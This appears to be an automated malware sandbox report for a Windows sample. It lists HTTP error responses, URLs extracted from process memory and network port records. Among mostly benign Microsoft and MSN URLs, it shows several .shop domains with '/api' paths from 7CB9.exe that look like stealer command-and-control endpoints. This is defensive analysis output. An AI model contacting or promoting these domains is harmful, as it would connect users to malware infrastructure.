Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Content-Length: 147Date: Mon, 05 Feb 2024 09:58:38 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 70 69 6e 67 2e 70 68 70 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /ping.php</pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:58:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:59:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 10:00:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Source: explorer.exe, 00000001.00000000.1686512188.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000001.00000000.1686512188.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000001.00000000.1686512188.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: InstallSetup4.exe, 0000001E.00000000.2137423347.000000000040A000.00000008.00000001.01000000.00000018.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000001.00000000.1686512188.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000001.00000000.1687147776.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: explorer.exe, 00000001.00000000.1687147776.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.micr
Source: explorer.exe, 00000001.00000000.1685847980.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1685373152.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1687353249.0000000009B60000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: 7CB9.exe, 0000000D.00000002.2211727956.00000000009C8000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.chilkatsoft.comN
Source: explorer.exe, 00000001.00000000.1689520118.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1686512188.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1686512188.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1682948776.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1683525167.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1686512188.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1686512188.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1686512188.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213925428.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://claimconcessionrebe.shop/api
Source: 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://claimconcessionrebe.shop/apiq
Source: explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: 7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemcreedarticulateod.shop/api
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://liabilityarrangemenyit.shop/
Source: 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://liabilityarrangemenyit.shop/api
Source: 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://liabilityarrangemenyit.shop/api-
Source: 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213925428.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://liabilityarrangemenyit.shop/apiE
Source: 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213925428.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://liabilityarrangemenyit.shop/f
Source: 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://liabilityarrangemenyit.shop:443/api
Source: explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: 7CB9.exe, 0000000D.00000002.2212946235.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://resergvearyinitiani.shop/
Source: 7CB9.exe, 0000000D.00000002.2212946235.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://resergvearyinitiani.shop/api
Source: 7CB9.exe, 0000000D.00000002.2212946235.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://resergvearyinitiani.shop/apiS
Source: 87C6.exe, 0000000F.00000003.3145333082.000000000322B000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3136582324.000000000402E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sabotage.net
Source: 7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secretionsuitcasenioise.shop/
Source: 7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secretionsuitcasenioise.shop/api
Source: 7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213925428.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secretionsuitcasenioise.shop/apil
Source: 7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secretionsuitcasenioise.shop/apin
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1689520118.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055384050.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/ddos/glossary/malware/
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
